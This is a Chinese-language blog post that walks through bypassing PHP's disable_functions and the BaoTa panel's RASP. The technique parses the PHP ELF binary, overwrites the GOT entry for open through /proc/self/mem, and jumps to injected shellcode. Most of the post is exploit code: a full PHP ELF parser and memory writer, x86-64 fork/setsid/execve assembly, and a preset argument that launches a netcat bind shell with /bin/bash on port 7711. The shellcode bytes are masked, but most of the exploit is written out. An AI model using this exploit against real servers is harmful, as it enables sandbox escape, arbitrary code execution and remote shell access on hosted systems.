无聊的时候和宝塔开发聊天,听他说了宝塔在开发一个基于底层的 rasp,拦截所有基于 www 权限的命令执行。最近总算上线了,我稍微测试了一下,效果确实不错:
不管是通过 php 来调用 system,会拦截,你是 root 权限的情况下,通过 su www 都会被一并拦截,也就是说 www 基本什么也做不了,我一开始还挺惊讶这 php 居然没崩溃还能运行,开发说加了特殊的兼容,这就让我感兴趣了。在加上业内知名的最全disable_functions
名单,成功吸引了我来挑战。
主要挑战内容就是在他们的防跨站,也就是在他们的open_basedir
限制了目录的情况下,先突破
disable_functions
,然后在突破他们的 rasp。
在突破 rasp 前,我们首先得先能碰到 rasp,不然disable_functions
都过不去,何来绕过 rasp 之说。
简单来说,某个程序需要调用printf这个函数,先到plt表里面找到对应的got表的里面存放的真正代码块的地址,在根据这个地址跳转到代码块。plt表是不可写的,got表可写,在没有执行之前填充00,在执行的时候由动态连接器填充真正的函数地址进去。假如我们能找到got表的地址,修改他指向的地址,比如把printf的地址和system的地址互换,就会造成我们调用的是printf,但实际上执行的是system,以此来突破disable_functions。
1 <?php /***
2 *
3* BUG修正请联系我
4* @author
5* @email xiaozeend@pm.me *
6*/
7$path="/tmp/ncc";
8$args = " -lvvp 7711 -e /bin/bash";
9/**
10section tables type
11*/
12define('SHT_NULL',0);
13define('SHT_PROGBITS',1);
14define('SHT_SYMTAB',2);
15define('SHT_STRTAB',3);
16define('SHT_RELA',4);
17define('SHT_HASH',5);
18define('SHT_DYNAMIC',6);
19define('SHT_NOTE',7);
20define('SHT_NOBITS',8);
21define('SHT_REL',9);
22define('SHT_SHLIB',10);
23define('SHT_DNYSYM',11);
24define('SHT_INIT_ARRAY',14);
25define('SHT_FINI_ARRAY',15);
26//why does section tables have so many fuck type
27define('SHT_GNU_HASH',0x6ffffff6);
28define('SHT_GNU_versym',0x6fffffff);
29define('SHT_GNU_verneed',0x6ffffffe);
30
31
32class elf{
33 private $elf_bin;
34 private $strtab_section=array();
35 private $rel_plt_section=array();
36 private $dynsym_section=array();
37 public $shared_librarys=array();
38 public $rel_plts=array();
39 public function getElfBin()
40{
41 return $this->elf_bin;
42 }
43 public function setElfBin($elf_bin)
44{
45 $this->elf_bin = fopen($elf_bin,"rb");
46 }
47 public function unp($value)
48{
49 return hexdec(bin2hex(strrev($value)));
50 }
51 public function get($start,$len){
52
53 fseek($this->elf_bin,$start);
54 $data=fread ($this->elf_bin,$len);
55 rewind($this->elf_bin);
56 return $this->unp($data);
57 }
58 public function get_section($elf_bin=""){
59 if ($elf_bin){
60 $this->setElfBin($elf_bin);
61 }
62 $this->elf_shoff=$this->get(0x28,8);
63 $this->elf_shentsize=$this->get(0x3a,2);
64 $this->elf_shnum=$this->get(0x3c,2);
65 $this->elf_shstrndx=$this->get(0x3e,2);
66 for ($i=0;$i<$this->elf_shnum;$i+=1){
67 $sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
68 switch ($sh_type){
69 case SHT_STRTAB:
70 $this->strtab_section[$i]=
71 array(
72 'strtab_offset'=>$this->get($this-
73>elf_shoff+$i*$this->elf_shentsize+24,8),
74 'strtab_size'=>$this->strtab_size=$this->get($this-
75>elf_shoff+$i*$this->elf_shentsize+32,8)
76 );
77 break;
78
79 case SHT_RELA:
80 $this->rel_plt_section[$i]=
81 array(
82 'rel_plt_offset'=>$this->get($this-
83>elf_shoff+$i*$this->elf_shentsize+24,8),
84 'rel_plt_size'=>$this->strtab_size=$this->get($this-
85>elf_shoff+$i*$this->elf_shentsize+32,8),
86 'rel_plt_entsize'=>$this->get($this-
87>elf_shoff+$i*$this->elf_shentsize+56,8)
88 );
89 break;
90 case SHT_DNYSYM:
91 $this->dynsym_section[$i]=
92 array(
93 'dynsym_offset'=>$this->get($this-
94>elf_shoff+$i*$this->elf_shentsize+24,8),
95 'dynsym_size'=>$this->strtab_size=$this->get($this-
96>elf_shoff+$i*$this->elf_shentsize+32,8),
97 'dynsym_entsize'=>$this->get($this-
98>elf_shoff+$i*$this->elf_shentsize+56,8)
99 );
100 break;
101
102 case SHT_NULL:
103 case SHT_PROGBITS:
104 case SHT_DYNAMIC:
105 case SHT_SYMTAB:
106 case SHT_NOBITS:
107 case SHT_NOTE:
108 case SHT_FINI_ARRAY:
109 case SHT_INIT_ARRAY:
110 case SHT_GNU_versym:
111 case SHT_GNU_HASH:
112 break;
113
114 default:
115 // echo "who knows what $sh_type this is? ";
116
117 }
118 }
119 }
120 public function get_reloc(){
121 $rel_plts=array();
122 $dynsym_section= reset($this->dynsym_section);
123 $strtab_section=reset($this->strtab_section);
124 foreach ($this->rel_plt_section as $rel_plt ){
125 for ($i=$rel_plt['rel_plt_offset'];
126 $i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];
127 $i+=$rel_plt['rel_plt_entsize'])
128 {
129 $rel_offset=$this->get($i,8);
130 $rel_info=$this->get($i+8,8)>>32;
131 $fun_name_offset=$this-
132>get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'
133],4);
134
135 $fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
136 $fun_name='';
137 while ($this->get(++$fun_name_offset,1)!=""){
138 $fun_name.=chr($this->get($fun_name_offset,1));
139 }
140 $rel_plts[$fun_name]=$rel_offset;
141 }
142 }
143 $this->rel_plts=$rel_plts;
144 }
145 public function get_shared_library($elf_bin=""){
146 if ($elf_bin){
147 $this->setElfBin($elf_bin);
148 }
149 $shared_librarys=array();
150 $dynsym_section=reset($this->dynsym_section);
151 $strtab_section=reset($this->strtab_section);
152 for
153($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];
154 $i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];
155 $i+=$dynsym_section['dynsym_entsize'])
156 {
157 $shared_library_offset=$this->get($i+8,8);
158 $fun_name_offset=$this->get($i,4);
159 $fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
160 $fun_name='';
161 while ($this->get(++$fun_name_offset,1)!=""){
162 $fun_name.=chr($this->get($fun_name_offset,1));
163 }
164 $shared_librarys[$fun_name]=$shared_library_offset;
165 }
166 $this->shared_librarys=$shared_librarys;
167 }
168 public function close(){
169 fclose($this->elf_bin);
170 }
171
172 public function __destruct()
173 {
174 $this->close();
175 }
176 public function packlli($value) {
177 $higher = ($value & 0xffffffff00000000) >> 32;
178 $lower = $value & 0x00000000ffffffff;
179 return pack('V2', $lower, $higher);
180 }
181}
get_section
函数根据各表的偏移提取出对应的值保存。get_reloc
函数获取 PLT 表里面保存的指向 GOT 表的值。get_shared_library
函数则是解析 libc 库的。接下来在成功解析目标执行的 php 文件后,拿到对应 GOT 表的偏移后,我们可以通过/proc/self/maps
拿到正在执行的 php 的内存布局,来找到一个可写可执行的内存块用来放我们的shellcode
。同时获得堆棧的内存地址:
1$test=new elf(); 2$test->get_section('/proc/self/exe'); 3$test->get_reloc(); 4$open_php=$test->rel_plts['open']; 5$maps = file_get_contents('/proc/self/maps'); 6preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack); 7echo "Stack location: ".$stack[1]."\n"; 8$pie_base = hexdec("0x".(explode('-', $maps)[0])); 9echo "PIE base: ".$pie_base."\n";
至此,我们已经做好全部的准备,如果没有宝塔的 RASP,单纯的disable_functions
的话,就可以在这里通过get_shared_library
函数去解析 libc 里面的 system 的地址,然后把 open 在 GOT 表里面的地址覆写成 system 的地址,即可绕过disable_functions
。
可惜的是,宝塔的 rasp 会拦截所有基于 www 权限的 bash 的执行,在这我们绕过了disable_functions
也只是收获了一条无情的拦截提示:
这里我们就要思考,为什么我们需要 system 这个函数?是为了弹个 nc 回来,到处 cd 在加个 ls -la 玩吗?显然不是,这样的需求 php 也可以满足。我们实际上的目的是去执行我们提权的 exp,也就是去执行其他的代码,其他的文件。而不是单纯的执行个 id,看一眼 www 的回显,然后到处 cd 玩的。
在这,我们通过不把 open 的 GOT 表地址修改成 system 的地址,而是改成我们 shellcode 的地址,这里本质上是我们已经控制了 php 的 eip 了,我们只需要在内存里面写入我们的 shellcode ,在让 got 表指向这个地址,就可以让 php 来执行我们的提权的 exp 或者其他任何我们想让他做的东西。
我们接下来根据php加载在内存里面的地址,开辟一个风水宝地来存放我们的shellcode,同时让GOT表里面的open函数的地址指向这个shellcode的地址:
1$mem = fopen('/proc/self/mem', 'wb'); 2$shellcode_loc = $pie_base + 0x2333; fseek($mem, $open_php); 3fwrite($mem, $test->packlli($shellcode_loc));
这段代码,我们利用/proc/self/mem
来访问自己的内存,同时根据之前获取到的拥有可写可执行权限的内存块,来开辟一个放 shellcode 的地方,也就是$shellcode_loc
同时我们这里已经修改了 GOT 表中
open 指向的地址为我们的$shellcode_loc
的地址。
接下来我们要准备我们的 shellcode 了,我这里是通过 fork 来开辟一个新进程,在新进程里面通过 execve
来启动我们的提权 exp,这里也可以直接放 msf 生产的 shellcode,自由发挥:
1push 0x39 2pop eax 3syscall 4test eax, eax 5jne 0x31 6push 0x70 7pop eax 8syscall 9push 0x39 10pop eax 11syscall 12test eax, eax 13jne 0x31
这段简单的汇编非常简单,我们通过 0x39 这个系统调用号来调用 fork 函数,我们这里 push 入参然后
syscall 调用, test 通过判断 eax 是否为 0 来判断有没有调用成功,如果失败则 ZF 标志为 1 通过 jne 圆滑的离开。剩下的基本一样,先后调用 0x39,0x70,0x39,也就是通过调用 fork 创建子进程, setsid 切到子进程,再 fork 一次。然后我们就得到了一个独立且脱离终端控制的新进程了。
接下来我们调用 execve 来指向我们的程序:
1mov rdi, 0xffffffffffffffff ; filename 2mov rsi, 0xffffffffffffffff ; argv 3xor edx, edx 4push 0x3b 5pop eax 6syscall 7ret 8push 0 9pop edi 10push 0x3c 11pop eax 12syscall
然后用 nasm 编译得到 shellcode,接下来就差处理我们需要执行的文件和参数了:
1$stack=hexdec("0x".$stack[1]); 2fseek($mem, $stack); 3fwrite($mem, "{$path}\x00"); 4$filename_ptr = $stack;
我们这里给获得堆棧的地址,入参我们需要执行的文件的地址,然后保存这个地址$filename_ptr
等待接下来拼接入 shellcode,然后就是我们需要执行的文件的参数的入参:
1$stack += strlen($path) + 1; 2fseek($mem, $stack); 3fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); 4$str_ptr = $stack; 5$argv_ptr = $arg_ptr = $stack + strlen($args) + 1; 6foreach(explode(' ', $args) as $arg) { 7 fseek($mem, $arg_ptr); 8 fwrite($mem, $test->packlli($str_ptr)); 9 $arg_ptr += 8; 10 $str_ptr += strlen($arg) + 1; 11} 12fseek($mem, $arg_ptr); 13fwrite($mem, $test->packlli(0x00)); 14echo "Argv: " . $args . "\n"; 15echo "ELF PATH $path\n";
到这,我们已经准备好所有的东西了,接下来在 GOT 表里 open 函数指向的地址,也就是我们一开始找到的一个可写可执行的地址$shellcode_loc = $pie_base + 0x2333
; 写入我们的 shellcode:
1$shellcode = "shellcode打马赛克". $test->packlli($filename_ptr) ."shellcode打马赛克" .$test->packlli($argv_ptr) ."shellcode打马赛克"; 2fseek($mem, $shellcode_loc); 3fwrite($mem, $shellcode);
完成整个利用。
1readfile('email->xiaozeend@pm.me', 'r'); 2echo "DONE\n"; 3exit();
完整的利用就出来了:
调试
我调试的源码为 PHP7.1.10,在最后的触发 shellcode 的readfile
函数处下的断点。然后用 GDB 给 GOT 表里面我们修改的那个 shellcode 的起始地址下一个断点,
执行:
就成功断在我们 shellcode 的入口了,在这我们就看到我们之前编写的 shellcode ,之后就可以慢慢调试你的 shellcode 了。